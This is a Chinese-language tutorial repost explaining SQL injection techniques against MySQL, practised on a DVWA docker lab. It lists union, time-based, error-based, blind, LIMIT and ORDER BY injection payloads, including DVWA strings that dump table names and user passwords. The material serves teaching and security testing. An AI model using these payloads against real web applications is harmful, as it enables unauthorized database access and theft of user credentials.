干货|多种SQL注入方式原理介绍(SQL注入基础)
2022-8-21 10:26:42 Author: 哆啦安全(查看原文) 阅读量:24 收藏

Android APP防作弊SDK解决方案

Web安全攻防实战零基础速成培训班

零基础培训课程+技术指导服务(技术交流社群)

零基础学编程/零基础学安全/零基础学逆向实战速成培训班

kali渗透测试环境搭建

Web安全|docker环境搭建(2)

0x00 前言

    本节主要介绍SQL注入的原理,web入门必学的渗透方式,你不需要开发功底也可学会,是挖漏洞的基本功,不管对象是什么,都可能存在SQL注入漏洞。下面介绍了常见的Mysql数据库的SQL注入方式。

0X01 SQL注入

    主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。

    使用上一节的docker快速搭建web渗透测试环境:`docker run -d --name dvwa -p 80:80 vulnerables/web-dvwa`,如果本地没有,则拉取最新的镜像,后台运行,简单介绍下DVWA的使用。

      注入中常见的函数:sleep,mid,substring,concat,union等:

select user from mysql.user;select user from mysql.user union select 1=1;select sleep(3);select concat("123","abc");select substring('example.com', 1, 1);select ascii(substring('example.com', 4, 1));

      高级点的使用方式,熟练使用sql查询语句,当然在实战中必须要闭合引号使用union或者and的方式执行恶意SQL语句:

select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1)select ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))

0X02 延时注入

    大家要知道**延时**是一个渗透技巧。

select if(ascii(substr(database(),1,1))=115,0,sleep(5));select if(select ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=97,sleep(1),1);select benchmark(5000000,md5('test'));

0x03 报错注入

    利用数据库报错,将想要查询的内容暴露出来。这里常用到的函数updatexml和extractvalue,主键重复计算报错的方式。

select updatexml(1,concat(0x7e,(select @@version),0x7e),1);select extractvalue(1,concat(0x7e,(select @@version),0x7e));select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

0x04 盲注

    第二点的延时注入属于盲注,就是在不知道是否可能被执行SQL语句的情况下,注入SQL语句,这叫盲注。

    regexp函数是将查询结果进行正则匹配,如果匹配成功返回1,匹配失败返回0。

(select user() regexp '^r')=1select user() like 'r%'

0x05 注入的位置

    SQL注入可能会发生在后端查询的什么位置?

    1. 我们从经典CRUD来看,就有对应的SQL注入方式:insert,delete,update的注入方式,可以参考[链接]

https://wooyun.js.org/drops/%E5%88%A9%E7%94%A8insert%EF%BC%8Cupdate%E5%92%8Cdelete%E6%B3%A8%E5%85%A5%E8%8E%B7%E5%8F%96%E6%95%B0%E6%8D%AE.html

    2. limit注入(mysql < 5.6)

SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

    3.order by注入

select * from users order by id and(updatexml(1,concat(0x7e,(select database()),0x7e),1));select * from ha order by if(1=1,1,sleep(1));

    4.dvwa

1' or 1=1 order by 1,2#1' union select 1,database()#1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#1' or 1=1 union select group_concat(user_id,first_name,last_name,user),group_concat(password) from users#

0x06 总结

    web安全其实在掌握基本原理后主要在于思路,不管注入的位置,对sql语句的灵活使用,每个语句进行思考,哪些可以替换,比如当某些函数返回为数字时,可以通过比较数字转变为true或false更容易进行判断注入点。

视频课程地址(课程持续更新中)

https://m.weishi100.com/mweb/series/?id=1373351https://m.weishi100.com/mweb/single/?id=8849948https://m.weishi100.com/mweb/single/?id=8857023https://m.weishi100.com/mweb/single/?id=8873317

推荐阅读

SQL注入基础知识点

MySQL注入-Bypass

Web漏洞之SQL注入

SQL注入从入门到精通

SQL注入语句和方法总结

sqlmap检测sql注入漏洞

发现注入和判断数据库(SQL注入)

利用Sql注入漏洞之获取服务器Root权限

APP渗透|从SQL注入到人脸识别登录绕过


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NzUzNzk1Mw==&mid=2247493779&idx=1&sn=0a604b127f7ca9ffa8eaec83c51dde7c&chksm=ceb8adddf9cf24cb7f5fd90d6def8fcba2171501d7f6ecfa2dc063eb9ff3b01268028c83c163#rd
如有侵权请联系:admin#unsafe.sh